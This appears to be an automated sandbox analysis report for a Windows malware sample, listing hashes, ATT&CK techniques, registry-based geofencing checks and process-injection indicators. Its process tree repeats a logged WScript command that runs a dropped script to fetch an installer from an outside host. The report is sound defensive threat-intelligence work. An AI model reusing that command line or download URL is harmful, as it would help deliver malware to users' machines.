163c5db8ff5d6da725486749841705e441d967fcda70f3a03301f26052b0863a

General

Target

20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe
Size

184KB
MD5

ce50ed54a539f85a378626c786c8a5fd
SHA1

b0ac55b2a82533238a96233db46692490f763b65
SHA256

163c5db8ff5d6da725486749841705e441d967fcda70f3a03301f26052b0863a
SHA512

727fd07e6256c2d96760bb0b4f724794b3a530a163dcb2ea8cf5908f550a46b0860c33a2b8ccf0009daa7611059ff49eea3453625fe5b2954125a5d2fa075f8f
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3p:/7BSH8zUB+nGESaaRvoB7FJNndnY

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
8	2312	WScript.exe
16	3216	WScript.exe
26	3044	WScript.exe
44	4772	WScript.exe
45	4772	WScript.exe
53	1156	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4460 wrote to memory of 2312	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	86
PID 4460 wrote to memory of 2312	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	86
PID 4460 wrote to memory of 2312	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	86
PID 4460 wrote to memory of 3216	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	87
PID 4460 wrote to memory of 3216	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	87
PID 4460 wrote to memory of 3216	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	87
PID 4460 wrote to memory of 3044	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	92
PID 4460 wrote to memory of 3044	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	92
PID 4460 wrote to memory of 3044	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	92
PID 4460 wrote to memory of 4772	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	98
PID 4460 wrote to memory of 4772	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	98
PID 4460 wrote to memory of 4772	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	98
PID 4460 wrote to memory of 1156	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	99
PID 4460 wrote to memory of 1156	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	99
PID 4460 wrote to memory of 1156	4460	20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe	99

C:\Users\Admin\AppData\Local\Temp\20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe
"C:\Users\Admin\AppData\Local\Temp\20240906ce50ed54a539f85a378626c786c8a5fdmafia.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4460
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf96F0.js" http://www.djapp.info/?domain=fGCKQnUEDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf96F0.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2312
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf96F0.js" http://www.djapp.info/?domain=fGCKQnUEDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf96F0.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3216
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf96F0.js" http://www.djapp.info/?domain=fGCKQnUEDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf96F0.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3044
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf96F0.js" http://www.djapp.info/?domain=fGCKQnUEDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf96F0.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4772
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf96F0.js" http://www.djapp.info/?domain=fGCKQnUEDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf96F0.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf96F0.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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